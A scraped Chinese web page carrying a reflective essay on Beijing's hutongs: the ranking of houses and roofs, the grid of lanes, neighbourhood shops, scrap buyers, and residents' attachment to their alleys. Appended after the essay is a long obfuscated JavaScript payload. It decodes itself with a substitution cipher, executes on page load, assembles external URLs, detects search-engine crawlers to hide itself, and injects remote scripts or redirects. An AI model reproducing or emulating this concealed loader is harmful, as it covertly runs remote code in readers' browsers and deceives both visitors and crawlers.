关灯
护眼
字体:

胡同情思(第1页)

章节目录保存书签

胡同情思

站在北京随意浏览,便会发现道路把居民区分割为若干方块,沿路的居民住宅则是最小的单元。房屋可分成三六九等,其中规矩森严。最广大最堂皇的是皇宫,其下是王府(其中又分铁帽子王和一般的王),王府之下又有豪门,可能是官宦,可能是富商。豪门之下才是四合院,其中品级又多。四合院下面是不成“四合”的独门小院。再往下,大小不一的大杂院则又比比皆是。

房子院子连成了片,您从高空俯瞰,各处房屋的房顶也是不一样的:皇宫用的是黄色琉璃瓦,王府可用绿琉璃瓦,北京各城门楼子,限用绿琉璃瓦“镶边”,当中是大片的灰筒瓦。至于民房,就只能用灰瓦做房顶了。您再有钱,上别处讲究去吧,别从颜色上给自己“找麻烦”。在北京,房子用什么颜色的墙或顶子,房高几尺几寸,用几层的檐子以及大门用几“开间”、上马石什么形状和什么图案,如此种种都有严格的规定,一不小心发生“僭越”,就有杀头的危险。

各片房屋之间则用街巷分开。在北京,大一些的叫街,小一些的叫胡同。胡同,是北京特有的一种街道名称,它较街道稍窄,有纵有横。上海等城市也有或横或纵的小街——被称为弄堂。这二者在特征上是不一样的。里弄是纵横交错呈辐射状的,没有方向、长短和弯直的限制。而胡同不同,它是北京街道之“下”的必然组成部分。北京街道横平竖直,东西南北的方向性极清楚。因此,胡同也就具备了相同的特点,它必然要和相近的街道成平行线,而且要么和相邻的街道等长,要么大约是相邻街道的一半。也就是说,首尾相接的两条胡同相加,正好是相邻街道的长度。

大多数北京人生在胡同里,长在胡同里,因此即使走在狭窄、憋闷的胡同里,心中却也具有整个北京的“版图”。比如说,从这条胡同东口走去,会碰到什么大街,穿过大街,又应该进另外一条什么胡同;比如说,这条胡同的左侧应该是什么胡同,其右侧应该是什么胡同;还比如说,自己现在打算到某处去,究竟有几条路径好选择?因为北京街道绝大多数都是四四方方“拐直弯儿”的,所以无论怎么走,其长度都是一样。但是,不同路径所经过的“风景”并不一样,有人图安静,有人喜欢热闹,所以选择就不会一样。但是,北京也有少量的斜街(比如马寡妇斜街),穿越斜街抄近路也是可行的,于是这又造就了北京人“大质朴”下的“小聪明”。

相邻的几条胡同相互连接,大多时候就构成了个小社会。几个月不去大街,依旧可以生活。买酱油、醋和芝麻酱,买鸡蛋、啤酒和挂面,胡同的小铺应有尽有。何况都是“邻里街坊”的,“抬头不见低头见”,买卖之外还透着亲热,即使身边没带钱,“您先拿回去用着,有空时候,再把钱捎过来就行。”胡同中的废料如何排除?一般的破衣裳旧物件,自有“收破烂儿的”收购。他们胳肢窝下夹着一个小包袱,一边行走一边用一个长长的鼓楗子,敲着一个比巴掌还小的小鼓:“有破烂——我买!”至于居民们的粪便,更有掏茅房的背着瘦长的粪筒,进入千家万户掏取出去。粪送到农村是肥料,所以不能是白白拿走,每年到年底时总要多少付一些钱——但究竟是谁给谁钱,我一时疏忽,没向老人们打听清楚。据说北京各个城区粪的质量高下有别,东城、西城的肥一些,宣武、崇文差一些,可能与饮食不一样有关。

革命风潮来临之际,总是先占领要害地点和主要街道,对于胡同深处,往往就“水过地皮湿”了。胡同深处,自是一番景象——既藏污纳垢,也藏龙卧虎,经常“三锥子也扎不出个屁”。邻居家遇到了盗匪打劫,马上让他从墙上翻到自己家来躲避一时,这是北京人独有的豪爽特色。别看虽然都叫做“胡同”,可面目大不一样。有的车水马龙,路面整齐;有的则行人稀少,坑洼肮脏。显然,北城比南城的胡同体面。可也奇怪,无论你在哪条胡同居住,很少有愿意搬家的,因为只要和街坊“处”好了,就能获得一种说不清的安然舒泰,往往比挣多少钱还强。所以北京人在一个胡同连续住上多少辈儿的并不少见。尤其是一些手工艺的艺人(也包括梨园的伶人),大多聚集在宣武区菜市口附近的几条胡同中。他们打小就能看到本门本业的英雄豪杰出出进进。想学点“真格的”,一迈腿就进了人家的门。请教完了,说不定还要吃人家一碗炸酱面。从长远点说,给这些行业人物写家谱,派个有墨水儿的人住进来,挨门挨户一打听——也就齐了。

有没有想通过搬家另拣“高枝儿”的?当然有,要么是这家的老人经济上发达了,想让自己家下辈子改换一下风水,于是把最称心的孩子年纪小小就派出去读书,然后尽可能升学——能“升”到哪儿就算哪儿,最后等他独立成人,自然会在外头“闯世界”,再也不会回来寻找原先的破家了。

在胡同住久、住熟、住自由了的人,一般被社会称为“胡同串子”。这跟梨园称呼一些把舞台琢磨透了的人是“戏虫子”、“戏篓子”差不多。如果他总在一个地方待下去,那他就永远只能还是他自己,永远也不大可能进步。可如果他一旦从胡同勇敢地走出去了,甭管他走得多高多远,他一旦消闲、静默下来,心中又必定泛起对于胡同的阵阵暖意。

章节目录

!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();